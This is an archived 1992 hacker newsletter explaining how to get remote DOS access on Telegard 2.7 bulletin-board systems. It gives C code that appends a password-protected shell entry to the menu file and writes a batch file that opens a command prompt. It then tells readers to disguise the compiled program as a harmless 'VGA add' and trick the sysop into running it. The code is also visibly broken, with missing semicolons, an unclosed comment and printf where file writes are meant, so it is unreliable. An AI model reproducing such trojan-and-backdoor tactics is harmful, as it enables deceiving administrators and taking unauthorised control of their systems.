TUCoPS :: Dialup BBSes :: vas0053.txt

Telegard: Accessing DOS through Telegard

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ     Û ÛßßßÛ Ûßßßß ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ   Û Û   Û ÛÜÜÜÜ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ Û ÛßßßÛ     Û ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÛ Û   Û ÜÜÜÜÛ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º                Vaginal and Anal Secretions Newsletter #0053                 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º          Date Released : [07/05/92]       Author: Right Guard               º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º           How To Properly And Easily Access DOS Through Telegard 2.7        º
ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ

   
   How to properly and easily access DOS through Telegard 2.7
   ----------------------------------------------------------
   
   Well we all know the weakest side of Telegard, don't we?  The 
whole menu system can be easily accessed and worked with in order
to perform simple access into Dos.  If you just take a look at a
Telegard menus found in the \telegard\menus\ directory (or which-
ever directory they are located in), you will see that they are 
all formed pretty easily by listing the commands used in the menu 
in order. Here is the personal menu used in Telegard, I will go 
about instructing you on how to modify this menu and easily access
DOS.  Here is the default setting for the PERSONAL.MNU:

NOTE:
-----
*** This is exactly how it appears in Telegard 2.7 without ***
*** modification.                                          ***


  --- 




^4Time Left: [^3@T^4] (^0?^4=^0Help^4)@M^4Personal Data Menu ^2:^3
s10

MAIN
0
4
4
0
5

(A)ddress - Change your address
(A)ddress
A
s10
OP
1

(B)irthday - Change your date of birth
(B)irthday
B
s10
OP
2

(C)ity & State - Change your city and state
(C)ity & State
C
s10
OP
4

(D)efine Colors - Define your personal ANSI color setup
(D)efine Colors
D
s10
OP
21

(G)oodbye - Log off and hang up with optional comment to the SysOp
(G)oodbye
G

-/
goodbye

(/G)oodbye - Log off and hang up immediately
(/G)oodbye
/G
s20
HI


(M)ailbox Status - Set mailbox open/closed, or forward your mail
(M)ailbox Status
M
s10
OP
15

(P)hone Number - Change your telephone number
(P)hone Number
P
s10
OP
8

(Q)uit to Main - Return to the main menu
(Q)uit to Main
Q

-\
main

(S)creen Size - Change the number of rows & columns on your screen
(S)creen Size
S
s10
OP
11

(T)ype of Computer - Change your computer type
(T)ype of Computer
T
s10
OP
5

(W)rite Macros - Write user-defined macros for online use
(W)rite Macros
W
s20
OM


(X)pert Toggle - Toggle between novice and expert menus
(X)pert Toggle
X
s10
OP
22

(Z)ip Code - Change your postal zip code
(Z)ip Code
Z
s10
OP
14

($)Password - Change your logon password
($)Password
$
s10
OP
9

(1)Set Video Type - Select ANSI, AVATAR, or TTY (plain) video output
(1)Set Video Type
1
s10
OP
16

(2)Toggle Color - Toggle color on/off (does *NOT* affect ANSI setting)
(2)Toggle Color
2
s10
OP
17

(3)Toggle Pause - Toggle pause after full screen on/off
(3)Toggle Pause
3
s10
OP
18

(4)Toggle Input - Toggle between full line and one-key input
(4)Toggle Input
4
s10
OP
19

(5)Toggle Clear - Toggle screen clear before displaying message on/off
(5)Toggle Clear
5
s10
OP
20

(6)AVATAR Adjust - Toggle AVATAR color adjustment on/off
(6)AVATAR Adjust
6
s10
OP
25

(*)SysOp Menu - Go to the SysOp menu
(*)SysOp Menu
*
s200
-/
sysop

   Our main objective regarding this file is accessing it, modify-
ing it, and then accessing DOS remotely.  I have constructed in C++
a program or utility to do so.  I will explain the source as we go 
along:

/* Compiler Directives */

#include<stdlib.h>
#include<stdio.h>

  main ()
  {
/* Define Files */
    
    FILE *per_mnu
    FILE *run_me 

/* Open File (PERSONAL.MNU) */
    
    per_mnu = fopen( "c:\telegard\menus\personal.mnu", "a" );
    
/* If the file isn't found abort */  
      
      if ( NULL == per_mnu ) abort()

/* Write to the file if it exists */         

         printf("[/E]nter DOS");
         printf("[/E]nter DOS");
         printf("/E");
         printf("s10");
         printf("-$");
         printf("SYSOP;PW?:;No, the PW is SYSOP!");
         printf("H");
         printf("");
         printf("[/E]nter DOS");
         printf("[/E]nter DOS");
         printf("/E");
         printf("s10");
         printf("D-");
         printf("c:\telegard\runme.bat");
         printf("H");
    
/* Closes file (PERSONAL.MNU)    
    
    fclose( per_mnu );

/* In order to access do you need to have a file that does    
   the same as REMOTE.BAT.  Since we are not sure if the sys-
   op has deleted the REMOTE.BAT file for security reasons we
   must create one which does the same thing as the REMOTE.BAT
   file.
*/
    
/* Open File (RUNME.BAT) */    
    
    run_me = fopen( "c:\telegard\runme.bat", "w");
      
/* Write to RUNME.BAT */         
         
         printf("prompt $t$_$p$g$");  
         printf("command");
         printf("ctty con");
         printf("c:");
         printf("cd\");
         printf("cd\telegard\");
         printf("exit");
    
/* Close file (RUNME.BAT) */    

    fclose( run_me );       

   This program writes to the bottom of PERSONAL.MNU and lets  
anyone with access higher than 10 access the lame sysops DOS.
You can compile this in Borland C++ and rename the exe to some-
thing like VGA_ADD.EXE and tell the sysop that you made a really
cool VGA add for his board and he should check it out at once. 
He will run it, nothing will happen, and he will E-Mail you back 
telling you that your add didn't work and that you should re-pro-
gram it... You call at 3 AM in the morning or even at 10 PM (if 
thats passed the idiotic sysops bedtime <VBG>) and access DOS and 
do whatever you want.  Well I hope this article somewhat scares
Telegard sysops and teaches them to have more security.  If you
run Telegard 2.7 and would still like to keep it, I suggest you 
rename your MENUS directory to something that no one could guess.
The only catch to this C++ program is that you must know what dir-
ectory the sysop has his menus in.  It should not be to hard to 
figure out. 

   One way to figure out where the sysops menu files are stored is 
by saying at the File Menu "!".  Usually that is file area stats and
it will usually tell you what directory the files in that area are 
stored.  It might be something like c:\tg\utilfile\.  You can conclude
from that, that the menus are probably are in c:\tg\menus\ directory.
Once you know the directory the menus are in you modify it in the C++
program supplied and compile it.  You should have no errors in the 
compilation of the C program.  Well I hope I helped someone out there
with Telegard, whether it be warning a SysOp or whatever. Watch out 
Telegard can be deadly!!


                   ÄÄÄÍÍÍÍÍ[ VaS DiSTRiBuTioN SiTeS ]ÍÍÍÍÍÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º  BBS Name                 Number       Baud   Sysop                Title    º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º  LiVe WiRE BBS        (313)464-1470    14.4   Studmuffin          World HQ  º
º  PoT BBS              (313)462-1906    24oo   Phreak_Accident     World HQ  º
º  TcH BBS              (713)373-4031    14.4   One Meg Cacher      Dist. #1  º
º  Floating Pancreas    (305)551-0311    14.4   Majestic Cockster   Dist. #2  º
º  Midian BBS           (703)790-8048    14.4   The Raging Golemn   Dist. #3  º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH